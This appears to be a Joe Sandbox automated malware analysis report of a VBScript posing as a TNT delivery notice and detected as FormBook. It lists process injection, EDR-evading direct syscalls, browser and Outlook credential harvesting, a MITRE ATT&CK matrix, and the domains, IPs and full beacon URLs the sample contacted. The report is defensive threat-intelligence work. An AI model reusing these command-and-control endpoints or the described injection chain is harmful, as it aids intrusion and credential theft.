                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307D6E0 mov eax, dword ptr fs:[00000030h]5_2_0307D6E0
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory allocated: page read and write | page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Benign windows process drops PE files
                Source: C:\Windows\System32\wscript.exeFile created: payload_Kf7Fb.exe.0.drJump to dropped file
                Allocates memory in foreign processes
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and writeJump to behavior
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtProtectVirtualMemory: Direct from: 0x77542F9CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtSetInformationProcess: Direct from: 0x77542C5CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtOpenKeyEx: Direct from: 0x77542B9CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtProtectVirtualMemory: Direct from: 0x77537B2EJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtCreateFile: Direct from: 0x77542FECJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtOpenFile: Direct from: 0x77542DCCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtQueryInformationToken: Direct from: 0x77542CACJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtTerminateThread: Direct from: 0x77542FCCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtDeviceIoControlFile: Direct from: 0x77542AECJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtAllocateVirtualMemory: Direct from: 0x77542BECJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtQueryVolumeInformationFile: Direct from: 0x77542F2CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtOpenSection: Direct from: 0x77542E0CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtAllocateVirtualMemory: Direct from: 0x775448ECJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtSetInformationThread: Direct from: 0x775363F9Jump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtQuerySystemInformation: Direct from: 0x775448CCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtClose: Direct from: 0x77542B6C
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtReadVirtualMemory: Direct from: 0x77542E8CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtCreateKey: Direct from: 0x77542C6CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtSetInformationThread: Direct from: 0x77542B4CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtQueryAttributesFile: Direct from: 0x77542E6CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtAllocateVirtualMemory: Direct from: 0x77543C9CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtCreateUserProcess: Direct from: 0x7754371CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtQueryInformationProcess: Direct from: 0x77542C26Jump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtResumeThread: Direct from: 0x77542FBCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtWriteVirtualMemory: Direct from: 0x7754490CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtDelayExecution: Direct from: 0x77542DDCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtAllocateVirtualMemory: Direct from: 0x77542BFCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtReadFile: Direct from: 0x77542ADCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtQuerySystemInformation: Direct from: 0x77542DFCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtResumeThread: Direct from: 0x775436ACJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtNotifyChangeKey: Direct from: 0x77543C2CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtCreateMutant: Direct from: 0x775435CCJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtWriteVirtualMemory: Direct from: 0x77542E3CJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeNtMapViewOfSection: Direct from: 0x77542D1CJump to behavior
                Injects a PE file into a foreign processes
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5AJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: NULL target: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe protection: execute and read and writeJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and writeJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeSection loaded: NULL target: C:\Windows\SysWOW64\prevhost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: NULL target: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: NULL target: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\prevhost.exeThread register set: target process: 6272Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\prevhost.exeThread APC queued: target process: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: FE9008Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe "C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe" Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exeProcess created: C:\Windows\SysWOW64\prevhost.exe "C:\Windows\SysWOW64\prevhost.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeQueries volume information: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe VolumeInformationJump to behavior
                Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 5.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000009.00000002.2770446993.0000000000DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2004081991.0000000001430000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2005395988.0000000005170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2772717715.00000000046B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2772975174.0000000004810000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\prevhost.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 5.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000009.00000002.2770446993.0000000000DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2004081991.0000000001430000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2005395988.0000000005170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2772717715.00000000046B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2003524733.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2772975174.0000000004810000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity Information221
                Scripting                		Valid Accounts2
                Exploitation for Client Execution                		221
                Scripting                		611
                Process Injection                		1
                Masquerading                		1
                OS Credential Dumping                		22
                Security Software Discovery                		Remote Services1
                Email Collection                		1
                Encrypted Channel                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault AccountsScheduled Task/Job1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		1
                Disable or Modify Tools                		LSASS Memory1
                Process Discovery                		Remote Desktop Protocol11
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		41
                Virtualization/Sandbox Evasion                		Security Account Manager41
                Virtualization/Sandbox Evasion                		SMB/Windows Admin Shares1
                Data from Local System                		5
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook611
                Process Injection                		NTDS1
                Application Window Discovery                		Distributed Component Object ModelInput Capture5
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script11
                Deobfuscate/Decode Files or Information                		LSA Secrets2
                File and Directory Discovery                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                Abuse Elevation Control Mechanism                		Cached Domain Credentials113
                System Information Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items5
                Obfuscated Files or Information                		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job12
                Software Packing                		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                DLL Side-Loading                		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1564051 Sample: TNT Express Delivery Consig... Startdate: 27/11/2024 Architecture: WINDOWS Score: 100 39 www.conansog.shop 2->39 41 all.wjscdn.com 2->41 43 6 other IPs or domains 2->43 53 Suricata IDS alerts for network traffic 2->53 55 Multi AV Scanner detection for submitted file 2->55 57 Yara detected FormBook 2->57 59 4 other signatures 2->59 11 wscript.exe 3 2->11         started        signatures3 process4 file5 35 C:\Users\user\AppData\...\payload_Kf7Fb.exe, PE32 11->35 dropped 37 C:\Users\user\AppData\...\execution_QLnFC.log, ASCII 11->37 dropped 73 Benign windows process drops PE files 11->73 75 VBScript performs obfuscated calls to suspicious functions 11->75 77 Windows Scripting host queries suspicious COM object (likely to drop second stage) 11->77 79 Suspicious execution chain found 11->79 15 payload_Kf7Fb.exe 3 11->15         started        signatures6 process7 signatures8 83 Antivirus detection for dropped file 15->83 85 Multi AV Scanner detection for dropped file 15->85 87 Machine Learning detection for dropped file 15->87 89 3 other signatures 15->89 18 RegAsm.exe 15->18         started        21 RegAsm.exe 15->21         started        process9 signatures10 51 Maps a DLL or memory area into another process 18->51 23 RtAXBNCRrMdm.exe 18->23 injected process11 signatures12 61 Maps a DLL or memory area into another process 23->61 63 Found direct / indirect Syscall (likely to bypass EDR) 23->63 26 prevhost.exe 13 23->26         started        process13 signatures14 65 Tries to steal Mail credentials (via file / registry access) 26->65 67 Tries to harvest and steal browser information (history, passwords, etc) 26->67 69 Modifies the context of a thread in another process (thread injection) 26->69 71 3 other signatures 26->71 29 RtAXBNCRrMdm.exe 26->29 injected 33 firefox.exe 26->33         started        process15 dnsIp16 45 all.wjscdn.com 38.54.112.227, 49760, 49766, 49772 COGENT-174US United States 29->45 47 www.conansog.shop 172.67.162.12, 49727, 49732, 49738 CLOUDFLARENETUS United States 29->47 49 2 other IPs or domains 29->49 81 Found direct / indirect Syscall (likely to bypass EDR) 29->81 signatures17

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                TNT Express Delivery Consignment AWD 87993766479.vbs37%ReversingLabsScript-WScript.Trojan.AgentTesla

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe100%AviraTR/Dropper.Gen
                C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe100%Joe Sandbox ML
                C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe67%ReversingLabsWin32.Trojan.SpywareX

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.dymar.shop/nda7/?9T5=dnDHwbWHB8yXWNo&ZZO=mFtqolmCIxfa59Z73e/70aPjjf2bhJzSlcY3DN4KVGL7tWfIoFA3Wp5UPNCJzjLIZkLuICf5GnVH2/npj4i7TXGhWDeiA6DqdrBfwVOXNb+iLxMxXQ==0%Avira URL Cloudsafe
                http://www.jijievo.site/x5hh/?9T5=dnDHwbWHB8yXWNo&ZZO=Z4nr7Xj7Balg2gthw4Rq9LN5z6WWpBOZCdiQclsotPmYaradfT6lU405eWXmKM8cYVsSDZkVOuw6hnyi+ooRPM4mR1jmP8bcCew2omCTIX9eL4B7+g==0%Avira URL Cloudsafe
                http://www.conansog.shop/uvt3/0%Avira URL Cloudsafe
                http://www.zkdamdjj.shop/z3j2/0%Avira URL Cloudsafe
                http://www.zkdamdjj.shop/z3j2/?ZZO=/FlAKobS9DDcFpSUrLxYrzeiuBgBETFKgA3F4sI0Na2FuCPtUyuRRVHVRN07Xm5p7OULId6H3IKQXBfxJLlS6ZiI3s/2NFQPzOFsp12a11Bh9wLshA==&9T5=dnDHwbWHB8yXWNo0%Avira URL Cloudsafe
                http://www.jijievo.site/x5hh/0%Avira URL Cloudsafe
                http://www.conansog.shop/uvt3/?ZZO=zVlhrraBsL3wRkcwn1FlIGeCz4A2EOdp3MszRyMTAoJUFK60oXlgsdwz3zYDdg3RjvURv75Aerwp0auHBcyI5vE6WDctvW80dOEkFRjN5vR3CkMGYw==&9T5=dnDHwbWHB8yXWNo0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                all.wjscdn.com
                		38.54.112.227
                		truetrue
                  		unknown
                  www.dymar.shop
                  		185.68.16.160
                  		truefalse
                    		unknown
                    www.conansog.shop
                    		172.67.162.12
                    		truetrue
                      		unknown
                      www.zkdamdjj.shop
                      		172.67.187.114
                      		truefalse
                        		high
                        natroredirect.natrocdn.com
                        		85.159.66.93
                        		truefalse
                          		high
                          www.jijievo.site
                          		unknown
                          		unknownfalse
                            		unknown
                            www.ordubalbirlik.online
                            		unknown
                            		unknownfalse
                              		unknown

                              Contacted URLs

                              NameMaliciousAntivirus DetectionReputation
                              http://www.jijievo.site/x5hh/true
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.jijievo.site/x5hh/?9T5=dnDHwbWHB8yXWNo&ZZO=Z4nr7Xj7Balg2gthw4Rq9LN5z6WWpBOZCdiQclsotPmYaradfT6lU405eWXmKM8cYVsSDZkVOuw6hnyi+ooRPM4mR1jmP8bcCew2omCTIX9eL4B7+g==true
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.dymar.shop/nda7/?9T5=dnDHwbWHB8yXWNo&ZZO=mFtqolmCIxfa59Z73e/70aPjjf2bhJzSlcY3DN4KVGL7tWfIoFA3Wp5UPNCJzjLIZkLuICf5GnVH2/npj4i7TXGhWDeiA6DqdrBfwVOXNb+iLxMxXQ==false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.conansog.shop/uvt3/true
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.zkdamdjj.shop/z3j2/true
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.zkdamdjj.shop/z3j2/?ZZO=/FlAKobS9DDcFpSUrLxYrzeiuBgBETFKgA3F4sI0Na2FuCPtUyuRRVHVRN07Xm5p7OULId6H3IKQXBfxJLlS6ZiI3s/2NFQPzOFsp12a11Bh9wLshA==&9T5=dnDHwbWHB8yXWNotrue
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.conansog.shop/uvt3/?ZZO=zVlhrraBsL3wRkcwn1FlIGeCz4A2EOdp3MszRyMTAoJUFK60oXlgsdwz3zYDdg3RjvURv75Aerwp0auHBcyI5vE6WDctvW80dOEkFRjN5vR3CkMGYw==&9T5=dnDHwbWHB8yXWNotrue
                              • Avira URL Cloud: safe
                              		unknown

                              World Map of Contacted IPs

                              • No. of IPs < 25%
                              • 25% < No. of IPs < 50%
                              • 50% < No. of IPs < 75%
                              • 75% < No. of IPs

                              Public IPs

                              IPDomainCountryFlagASNASN NameMalicious
                              38.54.112.227
                              		all.wjscdn.comUnited States
                              		174COGENT-174UStrue
                              172.67.187.114
                              		www.zkdamdjj.shopUnited States
                              		13335CLOUDFLARENETUSfalse
                              172.67.162.12
                              		www.conansog.shopUnited States
                              		13335CLOUDFLARENETUStrue
                              185.68.16.160
                              		www.dymar.shopUkraine
                              		200000UKRAINE-ASUAfalse

                              General Information

                              Joe Sandbox version:41.0.0 Charoite
                              Analysis ID:1564051
                              Start date and time:2024-11-27 19:14:13 +01:00
                              Joe Sandbox product:CloudBasic
                              Overall analysis duration:0h 9m 0s
                              Hypervisor based Inspection enabled:false
                              Report type:full
                              Cookbook file name:default.jbs
                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                              Number of analysed new started processes analysed:12
                              Number of new started drivers analysed:0
                              Number of existing processes analysed:0
                              Number of existing drivers analysed:0
                              Number of injected processes analysed:2
                              Technologies:
                              • HCA enabled
                              • EGA enabled
                              • AMSI enabled
                              Analysis Mode:default
                              Analysis stop reason:Timeout
                              Sample name:TNT Express Delivery Consignment AWD 87993766479.vbs
                              Detection:MAL
                              Classification:mal100.troj.spyw.expl.evad.winVBS@11/4@6/4
                              EGA Information:
                              • Successful, ratio: 83.3%
                              HCA Information:
                              • Successful, ratio: 87%
                              • Number of executed functions: 79
                              • Number of non-executed functions: 247
                              Cookbook Comments:
                              • Found application associated with file extension: .vbs

                              Warnings

                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                              • Not all processes where analyzed, report is missing behavior information
                              • Report creation exceeded maximum time and may have missing disassembly code information.
                              • Report size getting too big, too many NtOpenKeyEx calls found.
                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                              • Report size getting too big, too many NtQueryValueKey calls found.
                              • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                              • VT rate limit hit for: TNT Express Delivery Consignment AWD 87993766479.vbs

                              Simulations

                              Behavior and APIs

                              TimeTypeDescription
                              13:16:47API Interceptor843135x Sleep call for process: prevhost.exe modified

